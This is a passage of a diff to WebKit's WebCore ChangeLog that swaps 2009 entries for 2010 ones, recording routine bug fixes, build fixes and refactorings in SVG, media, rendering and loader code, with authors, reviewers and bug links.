+        https://bugs.webkit.org/show_bug.cgi?id=35793
 
-        Reviewed by Oliver Hunt.
+        Breaks Gtk build bots.
 
-        Fix failing media layout tests.  Don't make beforeload block loads of objects that aren't in the
-        document, since video/audio (and images eventually too) can load when not in the document yet.
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::load):
+        (WebCore::MediaPlayerPrivate::setPreload):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-        * dom/ContainerNode.cpp:
-        (WebCore::ContainerNode::dispatchBeforeLoadEvent):
+2010-03-12  Dirk Schulze  <krit@webkit.org>
 
-2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+        Reviewed by Nikolas Zimmermann.
 
-        Reviewed by Eric Seidel.
+        SVG Glyphs - transform path not context
+        https://bugs.webkit.org/show_bug.cgi?id=36070
 
-        Move SVGFitToViewBox ANIMATED_* macros in classes that inherit from it
-        https://bugs.webkit.org/show_bug.cgi?id=30230
+        SVGFont should transform the path of a glyph, not the context. Modifying
+        the context causes wrong gradient transformations. This bug doesn't
+        influence CG because we generally fill or stroke texts with a mask image.
+        All other platforms provide a direct way to make the drawings.
 
-        This patch also devirtualizes viewBoxToViewTransform(), is it's superflous.
-        viewBoxToViewTransform() is now a simple static heper function in SVGFitToViewBox.
-        As a result, the SVGSVGElement::viewBoxToViewTransform() function now resuses the same logic.
+        * svg/SVGFont.cpp:
+        (WebCore::Font::drawTextUsingSVGFont):
 
-        As side-effect this patch fixes svg/custom/linking-a-03-b-transform.svg, the return
-        statement in SVGSVGElement::viewBoxToViewTransform() was clearly wrong.
+2010-03-12  Beth Dakin  <bdakin@apple.com>
 
-        * svg/SVGFitToViewBox.cpp:
-        (WebCore::SVGFitToViewBox::SVGFitToViewBox):
-        (WebCore::SVGFitToViewBox::viewBoxToViewTransform):
-        * svg/SVGFitToViewBox.h:
-        * svg/SVGMarkerElement.cpp:
-        (WebCore::SVGMarkerElement::SVGMarkerElement):
-        (WebCore::SVGMarkerElement::viewBoxToViewTransform):
-        * svg/SVGMarkerElement.h:
-        * svg/SVGPatternElement.cpp:
-        (WebCore::SVGPatternElement::SVGPatternElement):
-        (WebCore::SVGPatternElement::buildPattern):
-        * svg/SVGPatternElement.h:
-        * svg/SVGSVGElement.cpp:
-        (WebCore::SVGSVGElement::SVGSVGElement):
-        (WebCore::SVGSVGElement::viewBoxToViewTransform):
-        * svg/SVGSVGElement.h:
-        * svg/SVGSymbolElement.cpp:
-        (WebCore::SVGSymbolElement::SVGSymbolElement):
-        * svg/SVGSymbolElement.h:
-        * svg/SVGViewElement.cpp:
-        (WebCore::SVGViewElement::SVGViewElement):
-        * svg/SVGViewElement.h:
-        * svg/SVGViewSpec.cpp:
-        (WebCore::SVGViewSpec::SVGViewSpec):
-        * svg/SVGViewSpec.h:
-
-2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+        Reviewed by Simon Fraser.
 
-        Reviewed by Jon Honeycutt.
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=34942 Fullscreen 
+        API naming is inconsistent
+        -and corresponding-
+        <rdar://problem/7729165>
 
-        Correct a typo that fixes the resizing of columns in Cookie view when you
-        resize the Inspector window.
+        This patch changes all occurrences of "fullScreen" to the more 
+        popular "fullscreen." webkitEnterFullScreen and 
+        webkitExitFullScreen have been maintained for now for backwards 
+        compatibility. 
 
-        * inspector/front-end/CookieItemsView.js:
-        (WebInspector.CookieItemsView.prototype.resize):
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::webkitEnterFullscreen):
+        (WebCore::HTMLVideoElement::webkitExitFullscreen):
+        * html/HTMLVideoElement.h:
+        (WebCore::HTMLVideoElement::webkitEnterFullScreen):
+        (WebCore::HTMLVideoElement::webkitExitFullScreen):
+        * html/HTMLVideoElement.idl:
+        * platform/graphics/mac/MediaPlayerProxy.h:
 
-2009-10-08  Brian Weinstein  <bweinstein@apple.com>
+2010-03-12  James Robinson  <jamesr@chromium.org>
 
-        Reviewed by Adam Roben.
+        Reviewed by Adam Barth.
 
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=29811>
-        Text in Inspector's Styles gear menu is invisible.
-        
-        Adds a style rule for the option text and hr's in the gear menu,
-        to prevent them from being transparent.
+        Add virtual destructor to DOMWrapperWorld
+        https://bugs.webkit.org/show_bug.cgi?id=36077
 
-        * inspector/front-end/inspector.css:
+        DOMWrapperWorld is RefCounted<DOMWrapperWorld>.  IsolatedWorld
+        inherits from DOMWrapperWorld and has member variables
+        with destructors, so DOMWrapperWorld needs to have a declared virtual
+        d'tor to ensure that its derived class's destructors are called.
 
-2009-10-08  John Gregg  <johnnyg@google.com>
+        No new tests, no change in behavior
 
-        Reviewed by David Levin.
+        * bindings/v8/DOMWrapperWorld.h:
+        (WebCore::DOMWrapperWorld::~DOMWrapperWorld):
 
-        Fix build problem with SVGURIReference in V8.
-        https://bugs.webkit.org/show_bug.cgi?id=30217
 
-        No new tests, just a build fix.
+2010-03-11  Gavin Barraclough  <barraclough@apple.com>
 
-        * WebCore.gypi:
-        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        Reviewed by Oliver Hunt.
 
-2009-10-07  Dave Hyatt  <hyatt@apple.com>
+        Bug 36075 - Clean up screwyness re static string impls & Identifiers.
 
-        Reviewed by Eric Carlson.
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::~StringImpl): Add ASSERT
+        (WebCore::StringImpl::sharedBuffer): Add ASSERT
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::setHash): Add ASSERT
+        (WebCore::StringImpl::isStatic): added.
 
-        Make beforeload work on <video>/<audio> elements.
+2010-03-12  Enrica Casucci  <enrica@apple.com>
 
-        Added fast/dom/beforeload/video-before-load.html
+        Reviewed by Simon Fraser.
 
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::parseMappedAttribute):
-        (WebCore::HTMLMediaElement::selectMediaResource):
-        (WebCore::HTMLMediaElement::selectNextSourceChild):
+        Content of 3D tests appears at the bottom right corner sometimes.
+        <rdar://problem/7556244>
+        <https://bugs.webkit.org/show_bug.cgi?id=36027>
 
-2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+        There were two problems to solve here:
+        - the incorrect anchoring of the rootChildLayer that was causing the composited
+          content to be positioned incorrectly
+        - the failure to paint the non composited content into the backing store when
+          animating composited content.
+          
+        The first problem has been solved by leaving the original anchor point for the
+        rootChildLayer and splitting the tasks of clipping and scrolling using two separate layers.
+        The second problem has been solved leveraging the knowledge that WebView has of the dirty region
+        of the backing store to pass this information to the layer renderer. This allows the renderer to force
+        a paint into the backing store before moving to the compositing.
+        
+        Tests: compositing/geometry/horizontal-scroll-composited.html
+               compositing/geometry/vertical-scroll-composited.html
+
+        * manual-tests/win/horizontal-scroll-composited.html: Removed. This is now a layout test.
+        * manual-tests/win/milliondollar.html: Added.
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::WKCACFLayerRenderer): Added initialization of dirty flag.
+        (WebCore::WKCACFLayerRenderer::setScrollFrame): 
+        (WebCore::WKCACFLayerRenderer::updateScrollFrame): Updated to resize and position the clip and scroll layers.
+        (WebCore::WKCACFLayerRenderer::setRootChildLayer):
+        (WebCore::WKCACFLayerRenderer::createRenderer): Added new layer hierarchy.
+        (WebCore::WKCACFLayerRenderer::destroyRenderer): Remove clip layer on destroy.
+        (WebCore::WKCACFLayerRenderer::resize):
+        (WebCore::WKCACFLayerRenderer::paint): Forcing paint massage to trigger paint into the backing store.
+        * platform/graphics/win/WKCACFLayerRenderer.h:
+        (WebCore::WKCACFLayerRenderer::setBackingStoreDirty): Added.
+
+2010-03-12  Robert Hogan  <robert@webkit.org>
 
-        Reviewed by Eric Seidel.
+        Not reviewed, build fix.
 
-        Move SVGExternalResourcesRequired ANIMATED_* macros in classes that inherit from it
-        https://bugs.webkit.org/show_bug.cgi?id=30218
+        Revert http://trac.webkit.org/projects/webkit/changeset/55374 which broke
+        the !ENABLE(DATABASE) build on all platforms when attempting to fix the
+        --minimal build on Qt.
 
-        The long term goal is to kill the need for the virtual contextElement() function in SVG code. 
-        No change in functionality, thus no new tests.
+        Support for SQLite now seems to be non-negotiable for the Qt build but making
+        it mandatory requires review, so re-break --minimal Qt build for now.
 
-        * svg/SVGAElement.cpp:
-        (WebCore::SVGAElement::SVGAElement):
-        * svg/SVGAElement.h:
-        * svg/SVGAnimationElement.cpp:
-        (WebCore::SVGAnimationElement::SVGAnimationElement):
-        * svg/SVGAnimationElement.h:
-        * svg/SVGCircleElement.cpp:
-        (WebCore::SVGCircleElement::SVGCircleElement):
-        * svg/SVGCircleElement.h:
-        * svg/SVGClipPathElement.cpp:
-        (WebCore::SVGClipPathElement::SVGClipPathElement):
-        * svg/SVGClipPathElement.h:
-        * svg/SVGCursorElement.cpp:
-        (WebCore::SVGCursorElement::SVGCursorElement):
-        * svg/SVGCursorElement.h:
-        * svg/SVGDefsElement.cpp:
-        (WebCore::SVGDefsElement::SVGDefsElement):
-        * svg/SVGDefsElement.h:
-        * svg/SVGEllipseElement.cpp:
-        (WebCore::SVGEllipseElement::SVGEllipseElement):
-        * svg/SVGEllipseElement.h:
-        * svg/SVGExternalResourcesRequired.cpp:
-        (WebCore::SVGExternalResourcesRequired::SVGExternalResourcesRequired):
-        * svg/SVGExternalResourcesRequired.h:
-        * svg/SVGFEImageElement.cpp:
-        (WebCore::SVGFEImageElement::SVGFEImageElement):
-        * svg/SVGFEImageElement.h:
-        * svg/SVGFilterElement.cpp:
-        (WebCore::SVGFilterElement::SVGFilterElement):
-        * svg/SVGFilterElement.h:
-        * svg/SVGFontElement.cpp:
-        (WebCore::SVGFontElement::SVGFontElement):
-        * svg/SVGFontElement.h:
-        * svg/SVGForeignObjectElement.cpp:
-        (WebCore::SVGForeignObjectElement::SVGForeignObjectElement):
-        * svg/SVGForeignObjectElement.h:
-        * svg/SVGGElement.cpp:
-        (WebCore::SVGGElement::SVGGElement):
-        * svg/SVGGElement.h:
-        * svg/SVGGradientElement.cpp:
-        (WebCore::SVGGradientElement::SVGGradientElement):
-        * svg/SVGGradientElement.h:
-        * svg/SVGImageElement.cpp:
-        (WebCore::SVGImageElement::SVGImageElement):
-        * svg/SVGImageElement.h:
-        * svg/SVGLineElement.cpp:
-        (WebCore::SVGLineElement::SVGLineElement):
-        * svg/SVGLineElement.h:
-        * svg/SVGMPathElement.cpp:
-        (WebCore::SVGMPathElement::SVGMPathElement):
-        * svg/SVGMPathElement.h:
-        * svg/SVGMarkerElement.cpp:
-        (WebCore::SVGMarkerElement::SVGMarkerElement):
-        * svg/SVGMarkerElement.h:
-        * svg/SVGMaskElement.cpp:
-        (WebCore::SVGMaskElement::SVGMaskElement):
-        * svg/SVGMaskElement.h:
-        * svg/SVGPathElement.cpp:
-        (WebCore::SVGPathElement::SVGPathElement):
-        * svg/SVGPathElement.h:
-        * svg/SVGPatternElement.cpp:
-        (WebCore::SVGPatternElement::SVGPatternElement):
-        * svg/SVGPatternElement.h:
-        * svg/SVGPolyElement.cpp:
-        (WebCore::SVGPolyElement::SVGPolyElement):
-        * svg/SVGPolyElement.h:
-        * svg/SVGRectElement.cpp:
-        (WebCore::SVGRectElement::SVGRectElement):
-        * svg/SVGRectElement.h:
-        * svg/SVGSVGElement.cpp:
-        (WebCore::SVGSVGElement::SVGSVGElement):
-        * svg/SVGSVGElement.h:
-        * svg/SVGScriptElement.cpp:
-        (WebCore::SVGScriptElement::SVGScriptElement):
-        * svg/SVGScriptElement.h:
-        * svg/SVGSwitchElement.cpp:
-        (WebCore::SVGSwitchElement::SVGSwitchElement):
-        * svg/SVGSwitchElement.h:
-        * svg/SVGSymbolElement.cpp:
-        (WebCore::SVGSymbolElement::SVGSymbolElement):
-        * svg/SVGSymbolElement.h:
-        * svg/SVGTextContentElement.cpp:
-        (WebCore::SVGTextContentElement::SVGTextContentElement):
-        * svg/SVGTextContentElement.h:
-        * svg/SVGUseElement.cpp:
-        (WebCore::SVGUseElement::SVGUseElement):
-        * svg/SVGUseElement.h:
-        * svg/SVGViewElement.cpp:
-        (WebCore::SVGViewElement::SVGViewElement):
-        * svg/SVGViewElement.h:
+        Qt build issue now tracked at https://bugs.webkit.org/show_bug.cgi?id=36073
 
-2009-10-08  Dirk Schulze  <krit@webkit.org>
+        * page/GeolocationPositionCache.cpp:
 
-        Reviewed by Darin Adler.
+2010-03-12  Dan Bernstein  <mitz@apple.com>
 
-        SVG feComposite: operator over mixes up inputs
-        [https://bugs.webkit.org/show_bug.cgi?id=30205]
+        Reviewed by Alexey Proskuryakov.
 
-        SVG feComposite operator over mixed up the inputs.
-        The pixel-test svg/filters/feComposite.svg can already test this.
-        No new test result is needed as long as filters are disabled.
+        <rdar://problem/7709115> REGRESSION: toolbar is missing at http://www.glom.org/
+        https://bugs.webkit.org/show_bug.cgi?id=35507
 
-        * platform/graphics/filters/FEComposite.cpp:
-        (WebCore::FEComposite::apply):
+        * css/CSSImportRule.cpp:
+        (WebCore::CSSImportRule::setCSSStyleSheet): Extend the change made in
+        <http://trac.webkit.org/changeset/48818> to detect the two variants of
+        KHTMLFixes.css in @import rules as well as in <link> elements.
 
-2009-10-08  Nikolas Zimmermann  <nzimmermann@rim.com>
+2010-03-12  Gavin Barraclough  <barraclough@apple.com>
 
-        Reviewed by George Staikos.
+        Reviewed by Geoff Garen.
 
-        Move SVGURIReference ANIMATED_* macros in classes that inherit from it
-        https://bugs.webkit.org/show_bug.cgi?id=30184
-
-        The long term goal is to kill the need for the virtual contextElement() function in SVG code. 
-        No change in functionality, thus no new tests.
-
-        * svg/SVGAElement.cpp:
-        (WebCore::SVGAElement::SVGAElement):
-        * svg/SVGAElement.h:
-        * svg/SVGAltGlyphElement.cpp:
-        (WebCore::SVGAltGlyphElement::SVGAltGlyphElement):
-        * svg/SVGAltGlyphElement.h:
-        * svg/SVGCursorElement.cpp:
-        (WebCore::SVGCursorElement::SVGCursorElement):
-        * svg/SVGCursorElement.h:
-        * svg/SVGFEImageElement.cpp:
-        (WebCore::SVGFEImageElement::SVGFEImageElement):
-        * svg/SVGFEImageElement.h:
-        * svg/SVGFilterElement.cpp:
-        (WebCore::SVGFilterElement::SVGFilterElement):
-        * svg/SVGFilterElement.h:
-        * svg/SVGForeignObjectElement.cpp:
-        (WebCore::SVGForeignObjectElement::SVGForeignObjectElement):
-        * svg/SVGForeignObjectElement.h:
-        * svg/SVGGradientElement.cpp:
-        (WebCore::SVGGradientElement::SVGGradientElement):
-        * svg/SVGGradientElement.h:
-        * svg/SVGImageElement.cpp:
-        (WebCore::SVGImageElement::SVGImageElement):
-        * svg/SVGImageElement.h:
-        * svg/SVGMPathElement.cpp:
-        (WebCore::SVGMPathElement::SVGMPathElement):
-        (WebCore::SVGMPathElement::pathElement):
-        * svg/SVGMPathElement.h:
-        * svg/SVGMaskElement.cpp:
-        (WebCore::SVGMaskElement::SVGMaskElement):
-        * svg/SVGMaskElement.h:
-        * svg/SVGPatternElement.cpp:
-        (WebCore::SVGPatternElement::SVGPatternElement):
-        * svg/SVGPatternElement.h:
-        * svg/SVGScriptElement.cpp:
-        (WebCore::SVGScriptElement::SVGScriptElement):
-        * svg/SVGScriptElement.h:
-        * svg/SVGTRefElement.cpp:
-        (WebCore::SVGTRefElement::SVGTRefElement):
-        * svg/SVGTRefElement.h:
-        * svg/SVGTextPathElement.cpp:
-        (WebCore::SVGTextPathElement::SVGTextPathElement):
-        * svg/SVGTextPathElement.h:
-        * svg/SVGURIReference.cpp:
-        (WebCore::SVGURIReference::SVGURIReference):
-        * svg/SVGURIReference.h:
-        * svg/SVGUseElement.cpp:
-        (WebCore::SVGUseElement::SVGUseElement):
-        * svg/SVGUseElement.h:
+        Bug 36052 - [Qt] REGRESSION(55878) 63 test cases crash
 
-2009-10-08  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+        r55878 changed UStringImpl::empty()->characters() to be non-null,
+        so TextBreakIteratorQt.cpp now should check the length of strings
+        (previously was assuming all strings with a non-null data pointer
+        had a length of at least 1).
 
-        Reviewed by Simon Hausmann.
+        * platform/text/qt/TextBreakIteratorQt.cpp:
+        (WebCore::wordBreakIterator):
+        (WebCore::characterBreakIterator):
+        (WebCore::lineBreakIterator):
+        (WebCore::sentenceBreakIterator):
 
-        [Qt] Re-add the QApplication::syncX() line for plugin windows removed
-        by r49169. Also changed the location of the sync just after the
-        creation instead of just before sending it to the plugin.
-        https://bugs.webkit.org/show_bug.cgi?id=25053
+2010-03-12  Dirk Schulze  <krit@webkit.org>
 
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::platformStart):
+        Reviewed by Nikolas Zimmermann.
 
-2009-10-08  Joseph Pecoraro  <joepeck@webkit.org>
+        SVG fallback color doesn't work for bogus gradients.
+        https://bugs.webkit.org/show_bug.cgi?id=35479
 
-        Reviewed by Timothy Hatcher.
+        Use a given fallback color on ignored gradients if present. Gradients
+        must be ignored, if one dimension of the objects boundingBox is zero.
 
-        Inspector: NodeLists Don't Display Well in the Console
-        https://bugs.webkit.org/show_bug.cgi?id=28061
+        Test: svg/custom/gradient-with-1d-boundingbox.svg
 
-        * inspector/front-end/InjectedScript.js:
-        (Object.type):
+        * svg/graphics/SVGPaintServer.cpp:
+        (WebCore::SVGPaintServer::strokePaintServer):
+        * svg/graphics/SVGPaintServerGradient.cpp:
+        (WebCore::SVGPaintServerGradient::setup):
 
-2009-10-08  Girish Ramakrishnan  <girish@forwardbias.in>
+2010-03-12  David Hyatt  <hyatt@apple.com>
 
-        Reviewed by Simon Hausmann.
+        Reviewed by Dan Bernstein.
 
-        [Qt] Windowless plugins: Remove unnecessary XSync for opaque mode.
+        https://bugs.webkit.org/show_bug.cgi?id=36069
         
-        The reason for the XSync was that the plugin would not know about the
-        Drawable. It turns out that the real reason behind this is that even
-        though XCreatePixmap returns a handle, this id is unknown to the server
-        until we flush the connection.
-        
-        So, move the XSync to right after we create the Pixmap.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30207
-
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::updatePluginWidget):
-        (WebCore::PluginView::paint):
+        Eliminate InlineRunBox.
 
-2009-10-07  Daniel Bates  <dbates@webkit.org>
-
-        Reviewed by Eric Seidel.
+        * WebCore.xcodeproj/project.pbxproj:
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::adjustPosition):
+        (WebCore::InlineFlowBox::paintFillLayer):
+        (WebCore::InlineFlowBox::paintBoxDecorations):
+        (WebCore::InlineFlowBox::paintMask):
+        * rendering/InlineFlowBox.h:
+        (WebCore::InlineFlowBox::InlineFlowBox):
+        (WebCore::InlineFlowBox::prevLineBox):
+        (WebCore::InlineFlowBox::nextLineBox):
+        (WebCore::InlineFlowBox::setNextLineBox):
+        (WebCore::InlineFlowBox::setPreviousLineBox):
+        * rendering/InlineRunBox.h: Removed.
+        * rendering/InlineTextBox.h:
+        (WebCore::InlineTextBox::InlineTextBox):
+        (WebCore::InlineTextBox::prevTextBox):
+        (WebCore::InlineTextBox::nextTextBox):
+        (WebCore::InlineTextBox::setNextTextBox):
+        (WebCore::InlineTextBox::setPreviousTextBox):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::destroy):
+        (WebCore::RenderBlock::rightmostPosition):
+        (WebCore::RenderBlock::leftmostPosition):
+        * rendering/RenderInline.cpp:
+        (WebCore::RenderInline::destroy):
+        (WebCore::RenderInline::absoluteRects):
+        (WebCore::RenderInline::absoluteQuads):
+        (WebCore::RenderInline::linesBoundingBox):
+        (WebCore::RenderInline::linesVisibleOverflowBoundingBox):
+        (WebCore::RenderInline::addFocusRingRects):
+        (WebCore::RenderInline::paintOutline):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::localBoundingBox):
+        * rendering/RenderLineBoxList.cpp:
+        (WebCore::RenderLineBoxList::deleteLineBoxTree):
+        (WebCore::RenderLineBoxList::extractLineBox):
+        (WebCore::RenderLineBoxList::attachLineBox):
+        (WebCore::RenderLineBoxList::removeLineBox):
+        (WebCore::RenderLineBoxList::deleteLineBoxes):
+        (WebCore::RenderLineBoxList::dirtyLineBoxes):
+        (WebCore::RenderLineBoxList::paint):
+        (WebCore::RenderLineBoxList::hitTest):
+        (WebCore::RenderLineBoxList::dirtyLinesFromChangedChild):
+        (WebCore::RenderLineBoxList::checkConsistency):
+        * rendering/RenderSVGInline.cpp:
+        (WebCore::RenderSVGInline::absoluteRects):
+        (WebCore::RenderSVGInline::absoluteQuads):
+        * rendering/RenderSVGText.cpp:
+        (WebCore::RenderSVGText::absoluteRects):
+        (WebCore::RenderSVGText::absoluteQuads):
+        (WebCore::RenderSVGText::objectBoundingBox):
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::extractTextBox):
+        (WebCore::RenderText::attachTextBox):
+        (WebCore::RenderText::removeTextBox):
+        (WebCore::RenderText::createInlineTextBox):
+        (WebCore::RenderText::positionLineBox):
+        * rendering/RootInlineBox.h:
+        (WebCore::RootInlineBox::nextRootBox):
+        (WebCore::RootInlineBox::prevRootBox):
 
-        https://bugs.webkit.org/show_bug.cgi?id=30188
-        
-        Fixes an issue where performing a non DHTML drag-and-drop operation 
-        does not work as expected. For instance, dragging some selected text 
-        to an external application, such as TextEdit.
-        
-        This issue was a regression that arose from patching bug #30107.
-        
-        This change is covered by the manual test: 
-        drag-out-of-background-window.html
+2010-03-12  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        * page/DragController.cpp:
-        (WebCore::DragController::startDrag): When performing a non-DHTML drag 
-        operation then default to drag operations DragOperationGeneric and 
-        DragOperationCopy according to similar functionality removed when fixing
-        bug #30107, see: 
-        http://trac.webkit.org/browser/trunk/WebKit/mac/WebView/WebHTMLView.mm?rev=48526#L3430 
+        Reviewed by Eric Carlson.
 
-2009-10-07  Xan Lopez  <xlopez@igalia.com>
+        media/video-preload.html fails
+        https://bugs.webkit.org/show_bug.cgi?id=35793
 
-        Fix more breakage in the GTKbuild.
+        Only effectively load, and start buffering when playing, or when
+        the preload attribute is set.
 
-        * GNUmakefile.am:
+        Test: media/video-preload.html
 
-2009-10-07  Adam Barth  <abarth@webkit.org>
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::load):
+        (WebCore::MediaPlayerPrivate::commitLoad):
+        (WebCore::MediaPlayerPrivate::prepareToPlay):
+        (WebCore::MediaPlayerPrivate::setPreload):
+        * platform/graphics/gstreamer/MediaPlayerPrivateGStreamer.h:
 
-        Reviewed by Eric Seidel.
+2010-03-12  Dmitry Titov  <dimich@chromium.org>
 
-        Move PolicyChecker to it's own file
-        https://bugs.webkit.org/show_bug.cgi?id=30193
+        Not reviewed, build fix.
 
-        This is just moving code around and re-naming things.
+        Reverts 55920 and 55921. Landing for Jian Li.
 
+        * Android.derived.jscbindings.mk:
+        * Android.derived.v8bindings.mk:
+        * DerivedSources.cpp:
+        * DerivedSources.make:
         * GNUmakefile.am:
         * WebCore.gypi:
-        * WebCore.pro:
+        * WebCore.pri:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * loader/FrameLoader.cpp:
-        * loader/FrameLoader.h:
-        * loader/PolicyCallback.cpp: Added.
-        (WebCore::PolicyCallback::PolicyCallback):
-        (WebCore::PolicyCallback::~PolicyCallback):
-        (WebCore::PolicyCallback::clear):
-        (WebCore::PolicyCallback::set):
-        (WebCore::PolicyCallback::call):
-        (WebCore::PolicyCallback::clearRequest):
-        (WebCore::PolicyCallback::cancel):
-        * loader/PolicyCallback.h: Added.
-        (WebCore::PolicyCallback::request):
-        * loader/PolicyCheck.cpp: Removed.
-        * loader/PolicyCheck.h: Removed.
-
-2009-10-07  Joel Stanley  <joel@jms.id.au>
-
-        Reviewed by Mark Rowe.
-
-        Include <limits> for std::numeric_limits.  Required by gcc-4.4
-        https://bugs.webkit.org/show_bug.cgi?id=30197
-
-        * html/canvas/CanvasByteArray.h:
-        * html/canvas/CanvasIntArray.h:
-        * html/canvas/CanvasShortArray.h:
-        * html/canvas/CanvasUnsignedByteArray.h:
-        * html/canvas/CanvasUnsignedIntArray.h:
-        * html/canvas/CanvasUnsignedShortArray.h:
-
-2009-10-07  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Darin Adler.
-
-        Factor PolicyChecker out of FrameLoader
-        https://bugs.webkit.org/show_bug.cgi?id=30155
-
-        This patch separates PolicyChecker from FrameLoader.  Loader policy is
-        in change of managing the FrameLoaderClient callbacks.  Ideally, it
-        shouldn't know anything about FrameLoader, but I couldn't quite remove
-        all knowledge (although we might be able to do more later).  In a
-        future patch, I'll move PolicyChecker into a separate file.
-
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::FrameLoader):
-        (WebCore::FrameLoader::loadURL):
-        (WebCore::FrameLoader::load):
-        (WebCore::FrameLoader::loadWithDocumentLoader):
-        (WebCore::PolicyChecker::handleUnimplementablePolicy):
-        (WebCore::PolicyChecker::cannotShowMIMEType):
-        (WebCore::PolicyChecker::PolicyChecker):
-        (WebCore::PolicyChecker::checkNavigationPolicy):
-        (WebCore::PolicyChecker::checkContentPolicy):
-        (WebCore::FrameLoader::shouldReloadToHandleUnreachableURL):
-        (WebCore::FrameLoader::stopAllLoaders):
-        (WebCore::PolicyChecker::cancelCheck):
-        (WebCore::PolicyChecker::stopCheck):
-        (WebCore::PolicyChecker::continueAfterContentPolicy):
-        (WebCore::PolicyChecker::continueLoadAfterWillSubmitForm):
-        (WebCore::FrameLoader::continueLoadAfterWillSubmitForm):
-        (WebCore::FrameLoader::loadPostRequest):
-        (WebCore::FrameLoader::continueFragmentScrollAfterNavigationPolicy):
-        (WebCore::PolicyChecker::checkNewWindowPolicy):
-        (WebCore::PolicyChecker::continueAfterNewWindowPolicy):
-        (WebCore::PolicyChecker::continueAfterNavigationPolicy):
-        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
-        * loader/FrameLoader.h:
-        (WebCore::PolicyChecker::loadType):
-        (WebCore::PolicyChecker::setLoadType):
-        (WebCore::PolicyChecker::delegateIsDecidingNavigationPolicy):
-        (WebCore::PolicyChecker::delegateIsHandlingUnimplementablePolicy):
-        (WebCore::FrameLoader::policy):
-        * loader/FrameLoaderClient.h:
-        * loader/MainResourceLoader.cpp:
-        (WebCore::MainResourceLoader::didCancel):
-        (WebCore::MainResourceLoader::willSendRequest):
-        (WebCore::MainResourceLoader::continueAfterContentPolicy):
-        (WebCore::MainResourceLoader::didReceiveResponse):
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::dataChanged):
-
-2009-10-07  Geoffrey Garen  <ggaren@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        Fixed <rdar://problem/5751979> Database code takes JSLock on secondary
-        thread, permanently slowing down JavaScript
-
-        Changed callback objects to use a standard helper object. The helper
-        object ASSERTs that it is deleted on the main thread, so no lock is
-        required when unprotecting its members. It also centralizes some previously
-        duplicated code.
-        
-        Callback objects that might be deleted on a secondary thread use
-        callOnMainThread to delete their helper objects on the main thread.
-
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSCallbackData.cpp: Copied from bindings/js/JSCustomSQLTransactionCallback.cpp.
-        (WebCore::JSCallbackData::deleteData):
-        (WebCore::JSCallbackData::invokeCallback):
-        * bindings/js/JSCallbackData.h: Copied from bindings/js/JSCustomSQLTransactionCallback.cpp.
-        (WebCore::JSCallbackData::JSCallbackData):
-        (WebCore::JSCallbackData::~JSCallbackData):
-        (WebCore::JSCallbackData::callback):
-        * bindings/js/JSCustomPositionCallback.cpp:
-        (WebCore::JSCustomPositionCallback::JSCustomPositionCallback):
-        (WebCore::JSCustomPositionCallback::handleEvent):
-        * bindings/js/JSCustomPositionCallback.h:
-        * bindings/js/JSCustomPositionErrorCallback.cpp:
-        (WebCore::JSCustomPositionErrorCallback::JSCustomPositionErrorCallback):
-        (WebCore::JSCustomPositionErrorCallback::handleEvent):
-        * bindings/js/JSCustomPositionErrorCallback.h:
-        * bindings/js/JSCustomSQLStatementCallback.cpp:
-        (WebCore::JSCustomSQLStatementCallback::JSCustomSQLStatementCallback):
-        (WebCore::JSCustomSQLStatementCallback::~JSCustomSQLStatementCallback):
-        (WebCore::JSCustomSQLStatementCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementCallback.h:
-        * bindings/js/JSCustomSQLStatementErrorCallback.cpp:
-        (WebCore::JSCustomSQLStatementErrorCallback::JSCustomSQLStatementErrorCallback):
-        (WebCore::JSCustomSQLStatementErrorCallback::~JSCustomSQLStatementErrorCallback):
-        (WebCore::JSCustomSQLStatementErrorCallback::handleEvent):
-        * bindings/js/JSCustomSQLStatementErrorCallback.h:
-        * bindings/js/JSCustomSQLTransactionCallback.cpp:
-        (WebCore::JSCustomSQLTransactionCallback::JSCustomSQLTransactionCallback):
-        (WebCore::JSCustomSQLTransactionCallback::~JSCustomSQLTransactionCallback):
-        (WebCore::JSCustomSQLTransactionCallback::handleEvent):
-        * bindings/js/JSCustomSQLTransactionCallback.h:
-        * bindings/js/JSCustomSQLTransactionErrorCallback.cpp:
-        (WebCore::JSCustomSQLTransactionErrorCallback::JSCustomSQLTransactionErrorCallback):
-        (WebCore::JSCustomSQLTransactionErrorCallback::~JSCustomSQLTransactionErrorCallback):
-        (WebCore::JSCustomSQLTransactionErrorCallback::handleEvent):
